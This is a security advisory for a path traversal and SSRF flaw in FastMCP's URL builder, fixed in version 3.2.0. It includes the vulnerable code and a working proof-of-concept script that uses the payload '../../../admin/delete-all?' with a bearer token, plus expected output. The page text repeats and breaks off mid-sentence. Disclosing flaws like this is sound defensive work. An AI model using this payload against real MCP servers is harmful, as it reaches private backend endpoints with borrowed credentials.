CVE-2026-32871

FastMCP is a Pythonic way to build MCP servers and clients. Prior to version 3.2.0, the OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service. A vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL. Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider. This issue has been patched in version 3.2.0.

FastMCP is a Pythonic way to build MCP servers and clients. Prior to version 3.2.0, the OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service. A vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL. Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider. This issue has been patched in version 3.2.0.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private…

FastMCP is a Pythonic way to build MCP servers and clients. Prior to version 3.2.0, the OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service. A vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL. Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider. This issue has been patched in version 3.2.0.

FastMCP is a Pythonic way to build MCP servers and clients. Prior to version 3.2.0, the OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service. A vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL. Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider. This issue has been patched in version 3.2.0.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private…